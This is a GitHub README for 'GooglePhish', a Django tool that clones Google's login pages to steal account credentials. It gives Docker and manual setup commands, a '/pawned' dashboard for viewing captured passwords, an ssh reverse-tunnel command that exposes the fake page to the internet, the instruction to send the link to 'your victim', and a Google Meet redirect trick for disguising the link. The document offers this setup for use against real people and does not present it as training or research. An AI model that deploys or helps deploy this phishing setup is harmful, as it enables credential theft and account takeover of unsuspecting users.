Skip to content

Google account phishing tool written in python using django

Notifications You must be signed in to change notification settings

yannis-mlgrn/GooglePhish

 
 

Repository files navigation

GooglePhish

GooglePhish

  • Google Account Phishing Tool using Python Django Framework.

  • Screenshots

    Screenshots Screenshots
    Google Login Page Phisher Home Page Image Google Login Page Phisher Password Page Image

Fast Installation Using docker

  • Pull created image

    • Install Docker

    • Pull googlephish image

      docker pull dmdhrumilmistry/googlephish
    • run docker image

      docker run -d -p 8000:8000 dmdhrumilmistry/googlephish
  • Build Image and run using build command

      sudo docker build -t googlephish . 

    You can specify your credentials using build arguments like this :

    ℹ️ Please replace build arguments by your credentials

    sudo docker build -t googlephish --build-arg dj_email="[email protected]" --build-arg dj_username="admin" --build-arg dj_password="GooglePhish" . 

    and run it :

    docker run -d -p 8000:8000 googlephish

    If you have build the dockerfile with no arguments, the default credentials are :

    • Username : admin
    • Password : GooglePhish
  • Using Docker Compose

⚠️ Doesn't work yet

```bash
docker-compose up
```

Installation

  • Clone/Download repo

    git clone https://github.com/dmdhrumilmistry/GooglePhish.git
  • Install requirements

    python3 -m pip install -r requirements.txt
  • Check for errors

    python3 manage.py check

    Proceed if no errors were encountered.

  • migrate db

    python3 manage.py makemigrations
    python3 manage.py migrate
  • Create user

    python3 manage.py createsuperuser
  • Collect static files

    python3 manage.py collectstatic
  • Run server

    python3 manage.py runserver

    Use --insecure tag if any issue is encountered while loading static files.

Generate and update new random key before using GooglePhish

  • Generate and copy new key

    python3 generate_new_key.py
  • update secret key in settings.py of GooglePhish on line 23

      # SECURITY WARNING: keep the secret key used in production secret!
      SECRET_KEY = 'your_new_key'

View Passwords using GooglePhish Dashboard Page

  • Dashboard login page

    http://127.0.0.1:8000/pawned
    

Start Server

python3 manage.py runserver

if static files are not loading, turn on debug mode or use

python3 manage.py runserver --insecure

For phishing over the internet

  • Start server

    python3 manage.py runserver
  • forward port using ssh

    ssh -R 80:localhost:8000 localhost.run

    8000 is port of localhost server. 80 is localhost.run server port. Localhost is service that helps you to expose your server running on localhost to the internet, visit their documentation for more info

  • Now send link to your victim

You can redirect user from google meet to your phishing page link using

https://meet.google.com/linkredirect?dest=your_link

Project Maintainer

Contributors

Contributors List

Have any Ideas 💡 or issue

  • Create an issue
  • Fork the repo, update script and create a Pull Request

About

Google account phishing tool written in python using django

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • HTML 49.6%
  • Python 30.0%
  • CSS 15.1%
  • Dockerfile 3.7%
  • JavaScript 1.6%